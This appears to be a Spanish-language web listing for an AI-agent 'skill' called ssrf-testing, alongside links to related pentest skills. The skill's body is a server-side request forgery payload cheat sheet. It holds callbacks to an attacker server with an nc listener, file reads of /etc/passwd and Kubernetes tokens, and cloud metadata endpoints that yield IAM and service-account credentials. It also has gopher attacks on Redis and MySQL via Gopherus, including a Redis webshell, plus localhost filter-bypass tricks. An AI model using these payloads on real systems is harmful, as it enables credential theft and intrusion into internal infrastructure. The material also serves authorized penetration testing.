Menú
Detect and exploit server-side request forgery to access internal resources and cloud metadata
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Basado en la clasificación ocupacional SOC
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
| name | ssrf-testing |
| description | Detect and exploit server-side request forgery to access internal resources and cloud metadata |
| origin | RedteamOpencode |
url=, uri=, src=, dest=, redirect=, feed=, link=?url=http://COLLABORATOR_DOMAIN/ssrf-test
?url=http://YOUR_SERVER:8888/ssrf-test
# Listener: python3 -m http.server 8888 / nc -lvp 8888
http://127.0.0.1/ http://localhost/ http://0.0.0.0/ http://[::1]/
http://127.1/ http://0/ http://0x7f000001/ http://2130706433/
http://10.0.0.1/ http://172.16.0.1/ http://192.168.1.1/ http://169.254.169.254/
file:///etc/passwd # File read
gopher://127.0.0.1:6379/_INFO # Redis
gopher://127.0.0.1:3306/_ # MySQL
dict://127.0.0.1:6379/INFO # Dict
ftp://127.0.0.1/
Test http://127.0.0.1:PORT/ for common ports (22, 80, 3306, 6379, 8080, 9200, 27017). Indicators: response time diffs, different errors, content length changes, status code diffs.
# IMDSv1
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
# IMDSv2 requires PUT for token + X-aws-ec2-metadata-token header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Requires Metadata-Flavor: Google header (legacy v1beta1 endpoint doesn't)
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Requires Metadata: true header
file:///var/run/secrets/kubernetes.io/serviceaccount/token
https://kubernetes.default.svc/
http://2130706433/ http://0x7f000001/ http://0177.0.0.01/ # Decimal/Hex/Octal for 127.0.0.1
http://[::ffff:127.0.0.1]/ http://127.0.0x0.1/ # IPv6/mixed
# 127.0.0.1.nip.io 127-0-0-1.sslip.io rbndr.us/dword
http://attacker.com@127.0.0.1/ # Credential section bypass
http://127.0.0.1#@attacker.com/
http://allowed-domain.com/redirect?url=http://127.0.0.1/ # Redirect chain
http://allowed.com\@127.0.0.1/ # Backslash
http://127.0.0.1.allowed.com/ # Subdomain wildcard
# Redis webshell, MySQL, SMTP — use Gopherus tool:
gopherus --exploit redis
gopherus --exploit mysql
http://127.0.0.1:9200/_cat/indices # Elasticsearch
http://127.0.0.1:2375/containers/json # Docker API
http://127.0.0.1:8500/v1/kv/?recurse # Consul
https://127.0.0.1:10250/pods/ # Kubelet